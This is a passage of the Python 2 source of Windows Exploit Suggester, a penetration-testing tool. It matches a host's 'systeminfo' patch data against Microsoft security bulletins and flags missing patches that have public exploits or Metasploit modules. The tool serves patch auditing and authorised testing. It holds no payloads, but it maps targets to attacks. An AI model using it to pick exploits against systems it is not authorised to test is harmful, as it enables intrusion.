# author: Sam Bertram, Gotham Digital Science
# contact: labs@gdssecurity.com,sbertram@gdssecurity.com,sammbertram@gmail.com
# blog post: "Introducing Windows Exploit Suggester", http://blog.gdssecurity.com/
# 
# DESCRIPTION
# 
# This tool compares a targets patch levels against the Microsoft vulnerability
# database in order to detect potential missing patches on the target. It also
# notifies the user if there are public exploits and Metasploit modules
# available for the missing bulletins.
#
# It requires the 'systeminfo' command output from a Windows host in order to
# compare that the Microsoft security bulletin database and determine the 
# patch level of the host.
#
# It has the ability to automatically download the security bulletin database
# from Microsoft with the --update flag, and saves it as an Excel spreadsheet.
#
# When looking at the command output, it is important to note that it assumes
# all vulnerabilities and then selectively removes them based upon the hotfix
# data. This can result in many false-positives, and it is key to know what
# software is actually running on the target host. For example, if there are
# known IIS exploits it will flag them even if IIS is not running on the
# target host.
#
# The output shows either public exploits (E), or Metasploit modules (M) as
# indicated by the character value. 
#
# It was heavily inspired by Linux_Exploit_Suggester by Pentura.
#
# Blog Post: "Introducing Windows Exploit Suggester", https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html
#
# USAGE
# 
# update the database
#
# $ ./windows-exploit-suggester.py --update
# [*] initiating...
# [*] successfully requested base url
# [*] scraped ms download url
# [+] writing to file 2014-06-06-mssb.xlsx
# [*] done
#
# install dependencies
#
# (install python-xlrd, $ pip install xlrd --upgrade)
#
# feed it "systeminfo" input, and point it to the microsoft database
#
# $ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
# [*] initiating...
# [*] database file detected as xls or xlsx based on extension
# [*] reading from the systeminfo input file
# [*] querying database file for potential vulnerabilities
# [*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
# [*] there are now 168 remaining vulns
# [+] windows version identified as 'Windows 7 SP1 32-bit'
# [*] 
# [M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
# [E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
# [M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
# [M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
# [M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
# [M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
# [M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
# [M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
# [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
# [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
# [*] done
#
# possible exploits for an operating system can be used without hotfix data
# $ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
# [*] initiating...
# [*] database file detected as xls or xlsx based on extension
# [*] getting OS information from command line text
# [*] querying database file for potential vulnerabilities
# [*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
# [*] there are now 196 remaining vulns
# [+] windows version identified as 'Windows 2008 R2 64-bit'
# [*] 
# [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
# [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
# [E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
# [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
# [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
# [E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
# [E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
# [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
# [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
#
# TROUBLESHOOTING
#
# If you're receiving the following error message, update the xlrd library
# $ pip install xlrd --update
#
# [*] initiating winsploit version 24...
# [*] database file detected as xls or xlsx based on extension
# Traceback (most recent call last):
# 	  File "windows-exploit-suggester/windows-exploit-suggester.py", line 1414, in <module>
# 	      main()
# 	        File "windows-exploit-suggester/windows-exploit-suggester.py", line 354, in main
# 		    wb = xlrd.open_workbook(ARGS.database)
# 		      File "/usr/lib/pymodules/python2.7/xlrd/__init__.py", line 370, in open_workbook
# 		          biff_version = bk.getbof(XL_WORKBOOK_GLOBALS)
# 			    File "/usr/lib/pymodules/python2.7/xlrd/__init__.py", line 1323, in getbof
# 			        raise XLRDError('Expected BOF record; found 0x%04x' % opcode)
# 			xlrd.biffh.XLRDError: Expected BOF record; found 0x4b50
#
# LIMITATIONS
#
# Currently, if the 'systeminfo' command reveals 'File 1' as the output for
# the hotfixes, it will not be able to determine which are installed on
# the target. If this occurs, the list of hotfixes will need to be 
# retrieved from the target host and passed in using the --hotfixes flag
#
# It currently does not seperate 'editions' of the Windows OS such as
# 'Tablet' or 'Media Center' for example, or different architectures, such as
# Itanium-based only
#
# False positives also occur where it assumes EVERYTHING is installed
# on the target Windows operating system. If you receive the 'File 1'
# output, try executing 'wmic qfe list full' and feed that as input
# with the --hotfixes flag, along with the 'systeminfo'
#
# LICENSE
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
# TODOLIST
#
# TODO better if/then/case when detecting OS. more flexibility with parsing
#     different systeminfo output
# TODO seperate by editions? may result in false positives
# TODO count the number of exploits in the summary prior to outputting it?
# TODO finish -s --search function so that all info on an MS number can be
#      returned
# TODO add titles to exploit list so that it is more portable
# TODO test for Windows RT systeminfo output
# TODO improved msf/poc output? perhaps adding details on each MS number?
# TODO if it's running on windows, then try and execute the systeminfo command?
# TODO SPEED. this is now way too slow...  somewhat improved!
# TODO automatically install python module? xlrd.
# TODO manually override MS11-011 for Non-Affected Products. The bulletin
# database is wrong.
#  Windows 7 for 32-bit Systems Service Pack 1
#  Windows 7 for x64-based Systems Service Pack 1
#  Windows Server 2008 R2 for x64-based Systems Service Pack 1
#  Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
#
# CHANGE LOG
# v30 2016-01-04
# - added exploits and bulletins from the past six months
#
# v29 2015-09-16
# - adding support for windows 10
#
# v28 2015-07-30
# - added bulletin scraping for xlsx and xls files using regex. thanks to
#   edebernis for reporting the bug
# - added ms15-022, ms15-015 update to msf
#
# v27 2015-06-18
# - added new bulletin url that is only xls and not xlsx. thanks to bstork for
#   reporting the bug
# - added ms15-010, ms15-051, and ms15-052
#
# v26 2015-06-02
# - small bug fix with linked output
# - added duplicates flag that can allow for bulletins to be displayed
#   multiple times. this will allow for greater analysis on linked bulletins
#
# v25 2015-05-18
# - added ms15-051 local priv
#
# v24 2015-01-30
# - added --sub/-s command in order to display output of msids as linked
#   this aides in demonstrating what patches need to be applied precisely. 
#   this change was implemented in v23, but only followed the depth to level
#   1 instead of the entire way.
# - fixed a bug that know allows for multiple supercedes msids in the db
# - allowed for getarchitecture to be recursive, and reduced redunancy when
#   it is called throughout the program
# - added ms14-070
#
# v23 2015-01-26
# - typo in --local flag case (pontential vs potential). issue #5 closed. 
#
# v22 2015-01-23
# - speed optimisations! it was too slow beforehand. realised i could easily
#   make it a bit more efficient
# 
# v21 2015-01-22
# - changed display formatting to include nested/linked MS numbers. makes it
#   easier to determine the dependencies
# - made args global
# - changed some code formatting, including double-space instead of \t
# - added some additional comments
# - disable ANSI output if on windows platform 
# - added recent exploits
#
# v20 2014-12-16
# - added ms14-068,ms14-064,ms14-060, and ms14-058 to the internal vuln list
#
# v19 2014-10-08
# - added support for windows server 2012, this includes ignoring the
#   architecture for 2012, and forcing from 32-bit to 64-bit
#
# v18 2014-09-02
# - added ms14-029 poc
#
# v17 2014-08-05
# - fixed a bug where it would not detect OS version when a unicode char comes
#   before search string
#
# v16 2014-07-28
# - improved reading of various file encodings for systeminfo. now attempts to 
#   detect the file first, otherwise loops through common encodings
# - improved OS, service pack, architecture, and release detection. this is now
#   not English-dependent as it was previously
# - better architecture detection of systeminfo input (look for -based string)
# - added /usr/bin/env python
# - added ms14-035 poc
#
# v15 2014-07-15
# - changed file open to io, and attempt to decode as utf-8; otherwise attempt
#   utf-16
#
# v14 2014-07-13
# - allowed for --ostext flag to properly supersede OS detection of systeminfo
#   input
#
# v13a 2014-07-01
# - added new msf flags for ms13-097, and ms14-009
#
# v12a 2014-06-06
# - quick cleanup for release
#
# v11a 2014-05-02
# - fixed the bulletin scrape regex for the update command. ms changed it
#
# v10a 2014-03-24
# - added a hotfixes argument, that can be used to supplement the list
#  of hotfixes detected in the systeminfo input
# - added severity at the end of the output when reporting bulletins
# - added a 'patches' argument, that can be used to determine any
#  of the hotfixes for a specific bulletin. this is good for debugging.
#
# v09a 2014-03-18
# - again, another massive bug on the linked kb searching function
#   getlinkedms(). should be fixed now
# - also checks columns 11 and 12 for superseded, i think it has to
#   do with dos and *nix output
#
# v08a 2014-02-14
# - bug where the superseded column wasn't being checked
#   this may be because it's only xlsx and it parsed differently in csv
# - added some new exploits from edb
#
# v07a 2014-02-12
# - added indicator for os version, and in green
# - better parsing of architecture for itanium based support
#
# v06a 2014-01-19
# - added 'ostext' or 'o' option, when don't have any patch information
#   but just know the OS
#
# v05a
# - added a check for "Kernel version" column, as well as "OS version"
#
# v04a
# - added support for XLSX files directly with the updated XLRD library, this
#   requires the python-xlrd library to be installed and upgraded with:
#   $ pip install xlrd --upgrade
# - changed MS13-101 to E, as there isn't a metasploit module (yet!)
#
# v03a
# - fixed an issue where component KB wasn't being checked
#
# FUNCTIONS
#
# def main():
# def run(database):
# def detect_encoding(filename):
# def trace(database):
# def patches(database):
# def getversion(name, release, servicepack, architecture):
# def getname(ostext):
# def getrelease(ostext):    
# def getservicepack(ostext):
# def getarchitecture(ostext):
# def getitanium(ostext):
# def getpatch(ostext):
# def getbulletinids(haystack):
# def isaffected(name, release, servicepack, architecture, haystack):
# def getlinkedms(msids, database):
# def getexploit(msid = 0):
# def update():
# def merge_list(li):
#
import re
import platform
import argparse
import subprocess
import csv
import StringIO
import os
import datetime
import urllib2
import io
from random import randint
from time import sleep
from tempfile import NamedTemporaryFile

# constants/globals
MSSB_URL = 'http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982'
VERSION = "3.0"

# global parser
parser = argparse.ArgumentParser(description="search microsoft security bulletins for exploits based upon the patch level of the machine by feeding in systeminfo command")
parser.add_argument("-v", "--verbose", help="verbose output", action="store_true")
parser.add_argument("-i", "--systeminfo", help="feed in an input file that contains the 'systeminfo' command")
parser.add_argument("-d", "--database", help="the file that contains the microsoft security bulletin database")
parser.add_argument("-u", "--update", help="required flag to even run the script", action="store_true")
parser.add_argument("-a", "--audit", help="show all entries, not only exploits", action="store_true")
parser.add_argument("-t", "--trace", help="used to determine linked ms bulletins")
parser.add_argument("-p", "--patches", help="used to determine specific patches for a ms bulletin")
parser.add_argument("-o", "--ostext", help="a loose text representation of the windows OS (ex: \"windows xp home edition sp2\")")
parser.add_argument("-s", "--sub", help="generate output using linked/sub bulletins. WARNING: SLOW!", action="store_true")
parser.add_argument("-2", "--duplicates", help="allow duplicate ms bulletin output within the results. this will produce a lot of output, but is useful when determining linked ms bulletins", action="store_true")
# hotfixes
# used to parse "wmic qfe list full" input, and to solve the 'File 1' errors
parser.add_argument("-H", "--hotfixes", help="a loose list of hotfixes to be added, for use with the following command: 'wmic qfe list full'")

# search by exploit type only
exptypegroup = parser.add_mutually_exclusive_group()
exptypegroup.add_argument("-r", "--remote", help="search remote exploits only", action="store_true")
exptypegroup.add_argument("-l", "--local", help="search local exploits only", action="store_true")

# global args parsed
ARGS = parser.parse_args()

def main():
  ALERT("initiating winsploit version %s..." % VERSION)

  database = ''

  # if there is a database switch
  if ARGS.database:

    # split name and extension
    name, extension = os.path.splitext(ARGS.database)

    # csv
    if 'csv' in extension:

      ALERT("database file detected as csv based on extension", ALERT.NORMAL)

      # attempt to open the file
      try:
        dbfile = open(ARGS.database, 'r')

      except IOError, e:
        ALERT("could not open the file %s" % filename, ALERT.BAD)
        exit(1)

      data = ''
      for line in dbfile:
        data += line
      database = data

      dbfile.close()

    # xls or xslx
    elif 'xls' in extension:

      ALERT("database file detected as xls or xlsx based on extension", ALERT.NORMAL)

      try:
        import xlrd
      except ImportError as e:
        ALERT("please install and upgrade the python-xlrd library", ALERT.BAD)
        exit(1)

      # open the xls file
      try:
        wb = xlrd.open_workbook(ARGS.database)
      except IOError as e:
        ALERT("no such file or directory '%s'. ensure you have the correct database file passed in --database/-d" % ARGS.database, ALERT.BAD)
        exit(1)
      sh = wb.sheet_by_name('Bulletin Search')

      # read the spreadsheet into a temp file
      f = NamedTemporaryFile(mode='wb')
      wr = csv.writer(f, quoting=csv.QUOTE_NONE, delimiter=',')

      data = ''

      # loop through xls
      for rownum in xrange(sh.nrows):

        values = sh.row_values(rownum)

        # loop through row values, and process input
        for i in range(len(values)):
          values[i] = unicode(values[i]).encode('utf8')
          values[i] = values[i].replace('\n',' ')
          values[i] = values[i].replace(',','')
          values[i] = values[i].replace('.0','')

        data += ",".join(values)
        data += '\n'
  
      # set the database to the csv data
      database = data

    # unknown filetype, error
    else:
      ALERT("unknown filetype. change file extension to indicate csv or xls/xlsx", ALERT.BAD)
      exit(1)

  if ARGS.trace: trace(database)
  elif ARGS.systeminfo or ARGS.ostext: run(database)
  elif ARGS.update: update()
  elif ARGS.patches: patches(database)

  # error
  else:
    ALERT("an error occured while running, not enough arguments", ALERT.BAD)
    exit(1)

  ALERT("done")
  # end main()

def run(database):

  # variables used
  ostext=None
  name=None
  release=None
  servicepack=None
    
  # will default to 32-bit, but can be 64 bit or itanium
  architecture=None

  hotfixes=set([])
  bulletinids=set([])

  potential=[]
  
  vulns={}
  ids=set([])

  cmdoutput = []

  # test for database
  if not ARGS.database:
    ALERT("please supply a MSSB database file with the --database or -d flag, this can be downloaded using the --update command", ALERT.BAD)
    exit(1)

  # read from ostext first
  if ARGS.ostext:
    ALERT("getting OS information from command line text")
        
    name=getname(ARGS.ostext)
    release=getrelease(ARGS.ostext)
    servicepack=getservicepack(ARGS.ostext)
    architecture=getarchitecture(ARGS.ostext)
    
    # the os name at least has to be identified
    if not name:
      ALERT("unable to determine the windows version command line text from '%s'" % ARGS.ostext, ALERT.BAD)
      exit(1)

  # get the systeminfo information from the input file
  if ARGS.systeminfo:

    ALERT("attempting to read from the systeminfo input file")

    # when reading the systeminfo file, we want to attempt to detect it using chardet
    # if this doesn't work, we will loop through a list of common encodings and try them all
    encodings = ['utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'iso-8859-2']

    detected_encoding =  detect_encoding(ARGS.systeminfo)

    # insert detected encoding to the front of the list
    if detected_encoding: 
      if ARGS.verbose: ALERT("detected encoding of file as '%s'" % detected_encoding)
      encodings.insert(0, detected_encoding)

    cmdfile = None
    cmdoutput = None
    
    # now loop through all encodings, with the detected one first (if it was possible)
    for encoding in encodings:

      if ARGS.verbose: ALERT("  attempting to read with '%s' encoding" % encoding)          

      # if we can read the file, and read the command output, we are done with the loop
      try: 
        cmdfile = io.open(ARGS.systeminfo, "r", encoding=encoding) # throws UnicodeDecodeError      
        cmdoutput = cmdfile.readlines() # throws UnicodeError
        break

      except (UnicodeError, UnicodeDecodeError) as e:
        ALERT("could not read file using '%s' encoding: %s" % (encoding, e), ALERT.BAD)
  
      # file might not exist
      except:
        ALERT("could not read from input file specified: %s" % ARGS.systeminfo, ALERT.BAD)
        exit(1)  

    # general catchall if somehow it was able to keep processing
    if not cmdfile or not cmdoutput:
      ALERT("could not read from input file, or could not detect encoding", ALERT.BAD)
      exit(1)
    
    # file read successfully
    ALERT("systeminfo input file read successfully (%s)" % encoding, ALERT.GOOD)

  # error
  if not ARGS.systeminfo and not ARGS.ostext and platform.system() != 'Windows':
    ALERT("please run from a Windows machine, or provide an input file using --systeminfo, or use the --ostext option to get data with no patch information", ALERT.BAD)
    exit(1)

  # parse the systeminfo information
  hotfix=False

  # loop through the systeminfo input
  for haystack in cmdoutput:

    # only attempt to set the version, arch, service pack if there is no
    # ostext flag
    if not ARGS.ostext:

      # when detecting the operating system version, every line (independent of language)
      # appears to have Microsoft Windows in it, sometimes with (R)
      if "Microsoft" in haystack and "Windows" in haystack and not name:
        name = getname(haystack)

      # the windows release is similar to the above and has the text 'Microsoft Windows' in the text
      if "Microsoft" in haystack and "Windows" in haystack and not release:
        release = getrelease(haystack)

      # similar to OS, there is the words 'Service Pack' 
      if "Service Pack" in haystack and not servicepack:
        servicepack = getservicepack(haystack)
      
      # get architecture only if -based is in the line, and --ostext hasn't been used
      if "-based" in haystack and not architecture: 
        architecture=getarchitecture(haystack)

    # look for kbs
    if ("KB" in haystack or "]: " in haystack):
      patch=getpatch(haystack)
      
      # if a patch was parsed
      if patch:
        if ARGS.verbose: ALERT("found hotfix %s" % patch)
        hotfixes.add(patch)

  # now process the hotfixes argument input
  if ARGS.hotfixes:
  
    # open the file
    try:
      cmdfile = open(ARGS.hotfixes, "r")

    except IOError as e:
      ALERT("could not read from input file specified: %s" % ARGS.hotfixes, ALERT.BAD)
      exit(1)

    ALERT("reading from the hotfixes input file")
    hotfixesfile = cmdfile.readlines()
    
    # loop through hotfixes file input
    for haystack in hotfixesfile:
      # look for kbs
      if ("KB" in haystack or "]: " in haystack):
        patch=getpatch(haystack)
        
        # if a patch was parsed
        if patch:
          if ARGS.verbose: ALERT("found hotfix %s" % patch)
          hotfixes.add(patch)
        
  if ARGS.verbose:
    ALERT("name: %s; release: %s; servicepack: %s; architecture: %s" % (name, release, servicepack, architecture))

  # verify that a windows os was at least able to be parsed
  if not name:
    if ARGS.systeminfo:
      ALERT("unable to determine the windows versions from the input file specified. consider using --ostext option to force detection (example: --ostext 'windows 7 sp1 64-bit')", ALERT.BAD)
      exit(1)

  if ARGS.verbose:
    ALERT("name: %s" % name)
    ALERT("release: %s" % release)
    ALERT("service pack: %s" % servicepack)
    ALERT("architecture: %s" % architecture)

  ALERT("querying database file for potential vulnerabilities")

  # potential, all matches within the CSV database for the name,release,sp,arch
  # bulletinds, set of the above with MSIDs (good to keep count)

  # get the potential bulletins
  try:
    for row in csv.reader(StringIO.StringIO(database)):
      bulletinid=row[1]
      affected=row[6]

      if isaffected(name, release, servicepack, architecture, affected):
        
        # only add the bulletin if it's not already in the list
        if bulletinid not in bulletinids:
          potential.append(row)
          bulletinids.add(bulletinid)

          if ARGS.verbose:
            ALERT("%s has been added to potential list '%s'" % (bulletinid, affected))
            
  except csv.Error, e:
    ALERT('could not parse database file, make sure it is in the proper format', ALERT.BAD)
    exit(1)
         
  # there should always be some potential vulns, because of the amount of windows software and false positives  
  if len(bulletinid) == 0:
    ALERT("there are no potential vulnerabilities for, ensure you're searching a valid windows OS", ALERT.BAD)
    exit(1)

  ALERT("comparing the %s hotfix(es) against the %s potential bulletins(s) with a database of %s known exploits" % (len(hotfixes), len(bulletinids), getexploit()))

  # start removing the vulns because of hotfixes
  for row in potential:

    # ms bulletin
    bulletinid=row[1]
    kb=row[2]
    componentkb=row[7]

    for hotfix in hotfixes:
    
      # if either the hotfixes match the kb or componentkb columns, and the bulletin is in the list
      # of potential bulletins
      if (hotfix == kb or hotfix == componentkb) and bulletinid in bulletinids:

        if ARGS.verbose:
          ALERT("  %s hotfix triggered a removal of %skb and the %s bulletin; componentkb is %s" % (hotfix,kb,bulletinid,componentkb))

        # get the linked ms, this will automatically calculate the superseded by as well
        linkedms = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        linkedmsstr = ''
        
        # calculate the pretty string, only care when verbose
        if len(linkedms) > 0:
          for m in linkedms:
            linkedmsstr += ' ' + m

        if ARGS.verbose:
        
          if hotfix == kb:
            ALERT("    due to presence of KB%s (Bulletin KB) removing%s bulletin(s)" % (kb, linkedmsstr))
            
          elif componentkb == kb:
            ALERT("    due to presence of KB%s (Component KB) removing%s bulletin(s)" % (componentkb, linkedmsstr))

        bulletinids = bulletinids.difference(linkedms)
        potential.remove(row)

  ALERT("there are now %s remaining vulns" % len(bulletinids))

  # search local exploits only
  if ARGS.local:
    ALERT("searching for local exploits only")
    for row in potential:
      bulletinid = row[1]
      impact = row[4]

      if bulletinid in bulletinids and not "elevation of privilege" in impact.lower():

        remove = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        
        if ARGS.verbose:
          ALERT("   removing %s (total of %s MS ids), because of its impact %s" % (bulletinid, len(remove), impact))

        bulletinids = bulletinids.difference(remove)
        potential.remove(row)

  # search remote exploits only
  if ARGS.remote:
    ALERT("searching for remote exploits only")
    for row in potential:
      bulletinid = row[1]
      impact = row[4]

      if bulletinid in bulletinids and not "remote code execution" in impact.lower():

        remove = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        
        if ARGS.verbose:
          ALERT("   removing %s (total of %s MS ids), because of its impact %s" % (bulletinid, len(remove), impact))

        bulletinids = bulletinids.difference(remove)
        potential.remove(row)
  
  # print windows version
  version=getversion(name, release, servicepack, architecture)

  ALERT("[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin", ALERT.GOOD)
  ALERT("windows version identified as '%s'" % version, ALERT.GOOD)

  # spacer
  ALERT("")

  # vulns, the dictionary of the bulletins based off of the potential bulletins
  for row in potential:
    id = row[1]
    for bulletinid in bulletinids:
      if bulletinid == id:
        title = row[5]
        kb = row[2]
        severity = row[3]
        if id not in ids:
          vulns[id] = [title,kb,severity]
          ids.add(id)

  # alerted, if a bulletin has been alerted to the user so that it doesn't appear twice
  #          this occurs when a bulletin has multiple parents
  # msids, the actual data for all of the relevant msids (the row from the CSV)
  alerted = set()
  msids = sorted(vulns, reverse=True)

  # loop through the bulletinids which is the set of the actual bulletins that are to
  # be alerted
  for msid in msids:

    ## don't alert twice, no matter the case
    if msid not in alerted: 

      # get the exploitability alert rating
      exploit = getexploit(msid)

      # only display the message, if the exploit flag isn't used
      # or if it is used, and the alert level is MSF or EXP
      if ARGS.audit or (exploit == ALERT.MSF or exploit == ALERT.EXP):

        alert = ALERT.NORMAL
        if exploit: alert = exploit
      
        ALERT("%s: %s (%s) - %s" % (msid, vulns[msid][0], vulns[msid][1], vulns[msid][2]), alert)
        alerted.add(msid)

        # only attempt to display linked/sub msids based on cli arguments
        if ARGS.sub:

          # linked ms, the children of this msid
          linked = set(getlinkedms([msid], csv.reader(StringIO.StringIO(database))))
          linked = linked.intersection(msids)
          
	  # loop through the linked msids, and only display those that qualify and
          # those that have not been alerted yet
          for lmsid in sorted(linked, reverse=True):
            if lmsid in msids and lmsid not in alerted:
              lexploit = getexploit(lmsid)
              lalert = ALERT.NORMAL
              if ARGS.audit or (lexploit == ALERT.MSF or lexploit == ALERT.EXP):
                if lexploit: lalert = lexploit
                ALERT("|_%s: %s (%s) - %s" % (lmsid, vulns[lmsid][0], vulns[lmsid][1], vulns[lmsid][2]), lalert)
		# only allow duplicate events to be displayed when command-line args passed
		if not ARGS.duplicates: alerted.add(lmsid)

  # end run()


# attempt to detect character encoding of a file
# otherwise return None
# https://stackoverflow.com/questions/3323770/character-detection-in-a-text-file-in-python-using-the-universal-encoding-detect
def detect_encoding(filename):
  try:
    import chardet
    data = open(filename, "r").read()
    result = chardet.detect(data)
    encoding = result['encoding']
    return encoding
  except:
    return None

# the trace command is used to determine linked MS bulletins
# TODO much of this is duplicated from run(). should be merged
def trace(database):

  # convert to upper
  bulletinid = ARGS.trace.upper()
  ALERT("searching for bulletin id %s" % bulletinid)

  # get linked msids
  lmsids =  getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))

  msids = []

  if ARGS.ostext: 
    ALERT("getting OS information from command line text")

    name=getname(ARGS.ostext)
    release=getrelease(ARGS.ostext)
    servicepack=getservicepack(ARGS.ostext)
    architecture=getarchitecture(ARGS.ostext)

    if ARGS.verbose:
      ALERT("name: %s" % name)
      ALERT("release: %s" % release)
      ALERT("service pack: %s" % servicepack)
      ALERT("architecture: %s" % architecture)

    # the os name at least has to be identified
    if not name:
      ALERT("unable to determine the windows version command line text from '%s'" % ARGS.ostext, ALERT.BAD)
      exit(1)

    # get linked msids, loop through the row
    for row in csv.reader(StringIO.StringIO(database)):
      msid = row[1]
      affected = row[6]

      if msid in lmsids:  
        # debug
        #print ("%s,%s,%s,%s,%s,%s" % (msid, name, release, servicepack, architecture, affected))

        if isaffected(name, release, servicepack, architecture, affected) and msid not in msids: msids.append(msid)
    
      #for msid in lmsids:
      #  if msid == row[1]: 
      #    msids.append(msid)

#        if msid in lmsids and msid not in msids: msids.append(msid)
#
#      if isaffected(name, release, servicepack, architecture, affected):
#        print 11111111111
      #  print affected
        # only add the bulletin if it's part of the linked msids
 #       print lmsids
 #       print msid
  #      if msid in lmsids:
  #        msids.add(msid)
#
#          if ARGS.verbose:
#            ALERT("%s has been added to linked msids list" % msid)
 
  else: msids = lmsids

  ALERT("linked msids %s" % msids, ALERT.GOOD)

  
def patches(database):
  
  kbs = []

  # convert to upper
  bulletinid = ARGS.patches.upper()
  ALERT("searching all kb's for bulletin id %s" % bulletinid)

  # get linked msids, loop through the row
  for row in csv.reader(StringIO.StringIO(database)):
      
    bulletinkb=row[2]
    componentkb=row[7]
    
    # if there's a match
    if bulletinid in row[1]:
      kbs.append(bulletinkb)
      kbs.append(componentkb)

  ALERT("relevant kbs %s" % (sorted(set(kbs), reverse=True)), ALERT.GOOD)

def getversion(name, release, servicepack, architecture):
    
  version = "Windows " + name

  # append release first
  if release: version += " R" + release
      
  # then service pack
  if servicepack: version += " SP" + servicepack
  
  # architecture
  if architecture == "Itanium":  version += " Itanium-based"
  else: version += " %s-bit" % architecture
    
  return version


def getname(ostext):

  if ostext == False:
    return False
      
  osname=False

  osnamearray=[["xp","XP"],
               ["2000","2000"],
               ["2003","2003"],
               ["vista","Vista"],
               ["2008","2008"],
               [" 7","7"],
               [" 8","8"],
               ["2012","2012"],
               ["8.1","8.1"],
               [" 10","10"]]

  for needle in osnamearray:
    ostext = ostext.lower()
    if "windows" + needle[0] in ostext or "windows " + needle[0] in ostext or "server" + needle[0] in ostext or "server " + needle[0] in ostext:
      osname = needle[1]

  # the first loop is a more restrictive detection of the OS name, but it does not detect the following
  # > Microsoft Windows\xFF7 Entreprise 
  # so if there is no detection from the first attempt, then search on a more loosely based string of 
  # needle and space
  if not osname:
    for needle in osnamearray:
      if needle[0] + " " in ostext.lower():
        osname = needle[1]

  return osname


def getrelease(ostext):    
    
  if ostext == False:
    return False
      
  osrelease=False
  
  regex="( r| rc|release|rel)[ ]*(\d)"
  m=re.search(regex, ostext.lower())
  
  if m and m.group(2):    
    osrelease=m.group(2)
      
  return osrelease
  
def getservicepack(ostext):
    
  if ostext == False:
    return False
      
  servicepack=False
  
  regex="(sp|pack|pack:)[ ]*(\d)"
  m=re.search(regex, ostext.lower())
  if m and m.group(2):
    servicepack=m.group(2)

  return servicepack


 # architecture defaults to 32, but can be 64-bit
 # or itanium based
def getarchitecture(ostext):
  
  # default to 32-bit
  architecture="32"

  # haystack
  s = ostext.lower()
  
  # attempt to be as flexible as possible
  # matching '64-based', 'x64', ' 64', 'i64', '64bit', '64 bit', '64-bit'
  if ("64-based" in s) or ("x64" in s) or (" 64" in s) or ("i64" in s) or ("64bit" in s) or ("64 bit" in s) or ("64-bit" in s): architecture="64"

  # target Itanium with a simple search for 'tani'
  if "tani" in s: architecture="Itanium"
        
  if getname(ostext) == "2008" and getrelease(ostext) == "2" and architecture == "32":
    if ARGS.verbose:
      ALERT("forcing unidentified architecture to 64-bit because OS identified as Windows 2008 R2 (although could be Itanium and wasn't detected?)")
    architecture = "64"

  # windows server 2012 is only 64-bit arch
  if getname(ostext) == "2012" and architecture == "32":
    if ARGS.verbose:
      ALERT("forcing unidentified architecture to 64-bit because OS identified as Windows Server 2012 does not support 32-bit")
    architecture = "64"  

  return architecture

# itanium build search string
def getitanium(ostext):
    
  if ostext == False:
    return False

  regex="(tanium)"
  m=re.search(regex, ostext.lower())

  if m:
    return True

  return False

def getpatch(ostext):
    
  patch=False
  
  regex="(\d){5,10}"
  m=re.search(regex, ostext.lower())
  if m and m.group():
    patch=m.group()
  
  return patch

# get the bulletin ids from the haystack
# these are typically in the form of: 
#   MS14-009[2898860]
#   MS13-052[2833940],MS14-009[2898856]
# will return a list if found, otherwise false
def getbulletinids(haystack):
  regex="MS[\d]{2,3}-[\d]{2,3}"
  m = re.findall(regex, haystack)
  if len(m) > 0: return m
  return False

def isaffected(name, release, servicepack, architecture, haystack):

  if name == getname(haystack):

    # ensure None are set to False
    # example, if getservicepack() does not get called in the systeminfo parsing
    # then servicepack will be None. this will then fail when comparing to False. 
    if release == None: release = False
    if servicepack == None: servicepack = False
    if architecture == None: architecture = False

#    print "%s,%s,%s,%s" % (name, release, servicepack, architecture)
#    print "%s,%s,%s,%s" % (getname(haystack),getrelease(haystack),getservicepack(haystack),getarchitecture(haystack))

    n = (name == getname(haystack))
    r = (release == getrelease(haystack))
    s = (servicepack == getservicepack(haystack))
    a = (architecture == getarchitecture(haystack))

    # we ignore the architecture for 2012 servers, as there is only 64-bit
    if name == "2012": return r and s

#    print "%s,%s,%s,%s,%s" % (name, release, servicepack, architecture, (a and r and s))

    return a and r and s
    
# search entire database for linked msids
